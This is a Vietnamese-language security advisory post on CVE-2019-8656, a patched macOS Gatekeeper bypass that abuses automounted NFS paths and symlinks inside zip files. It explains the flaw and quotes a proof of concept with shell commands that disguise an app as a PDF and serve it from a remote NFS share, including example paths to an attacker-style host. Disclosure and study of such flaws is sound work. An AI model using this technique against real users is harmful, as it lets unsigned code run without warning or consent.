[CVE-2019-8656] macOS X GateKeeper Bypass

ADMIN
10:33 26/08/2019

Update: 22 Jul 2019

Fix now available: https://support.apple.com/en-gb/HT210348

CVE: CVE-2019-8656

TỔNG QUAN

Các phiên bản macOS X <= 10.14.5 có thể bypass GateKeeper để thực thi các đoạn mã mà không có bất kỳ cảnh báo và sự cho phép từ người dùng.

Gatekeeper là tính năng do Apple phát triển và được đưa vào macOS X từ 2012 có nhiệm vụ ký và xác minh các ứng dụng tải về trước khi chúng được chạy.

CHI TIẾT

Gatekeeper xem các ổ đĩa ngoài và network shares là các vị trí an toàn và cho phép ứng dụng chứa và chạy trên chúng.

Bằng cách kết hợp 2 tính năng trên, có thể thực thi các hành vi một cách hợp pháp.

Tính năng đầu tiên, automount (autofs) cho phép người dùng tự động mount  các network shares bằng cách chỉ truy cập đường dẫn "đặc biệt". Trong trường hợp, đường dẫn bất kỳ đều bắt đầu là "/net/".

Ví dụ:
ls /net/evil-attacker.com/sharedfolder/
hệ điều hành sẽ đọc nội dung của "sharedfolder" trên máy chủ từ xa (evil-attacker.com) bằng NFS.

Tính năng thứ hai, tập tin nén zip chứa các đường dẫn tượng trưng trỏ đến các vị trí tùy ý (bao gồm các vị trí tự động).

Hiểu rõ cách tấn công qua ví dụ sau: Kẻ tấn công tạo ra tệp zip chứa các đường dẫn tượng trưng trỏ đến một nơi mà chúng có thể kiểm soát ( Documents -> /net/evil.com/Documents) và gửi đến nạn nhân. Nạn nhân tải tệp zip sau đó giải nén các đường dẫn tượng trưng đấy.

Bây giờ kẻ tấn đã kiểm soát được máy của nạn nhân được Gatekeeper tin tưởng , do đó bất kỳ thực thi nào trên máy nạn nhận đều không bị cảnh báo. Do thiết kế của Finder (ẩn đuôi mở rộng .app, ẩn đường dẫn đầy đủ trên titlebar) làm cho phương thức tấn công khó phát hiện.

Video minh hoạ: https://youtu.be/m74cpadIPZY

Kết quả hình ảnh cho macOS X GateKeeper Bypass

PoC

  1. create a zip file with a symlink to an automount endpoint
    1. mkdir Documents
    2. ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
    3. zip -ry Documents.zip Documents
  2. create an application (.app folder) with the code you want to run
    1. cp -r /Applications/Calculator.app PDF.app
    2. echo -e '#!/bin/bash'"\n"'open /Applications/iTunes.app' > PDF.app/Contents/MacOS/Calculator
    3. chmod +x PDF.app/Contents/MacOS/Calculator
    4. rm PDF.app/Contents/Resources/AppIcon.icns
    5. ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
  3. create a publicily accessible NFS share and put the .app in it
    1. ssh linux-vm.local
    2. mkdir -p /nfs/Documents
    3. echo '/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
    4. service nfs-kernel-server restart
    5. scp -r mymac.local:PDF.app /nfs/Documents/
  4. upload the zip somewhere in internet and download it so it gets the quarantine flag used by Gatekeeper
  5. extract the zip (if needed) and navigate it

Nguồn: https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass

TIN LIÊN QUAN
Sáng ngày 7/12, tại Toà nhà Cục Tần số, ở Hà Nội,  Hội Vô tuyến – Điện tử Việt Nam tổ chức “Hội nghị Quốc gia lần thứ XXII về Điện tử, Truyền thông và Công nghệ Thông tin” (REV-ECIT 2019), với chủ đề: “Thúc đẩy phát triển thông tin...
Một nhóm nghiên cứu bảo mật của Phòng thí nghiệm X-Lab trực thuộc công ty công nghệ Tencent (Trung Quốc) vừa trình diễn cách bẻ khóa bảo mật vân tay trên điện thoại di động chỉ trong vòng 20 phút khiến nhiều người kinh ngạc. Trong buổi trình diễn tại...
  Các trợ lý ảo cá nhân như Alexa, Siri hoặc Cortana được nhiều hãng công nghệ triển khai rộng rãi trong những năm gần đây. Các hệ thống nhận dạng giọng nói tự động (Automatic Speech Recognition- ASR) như vậy có thể dịch và thậm chí nhận ra ngôn...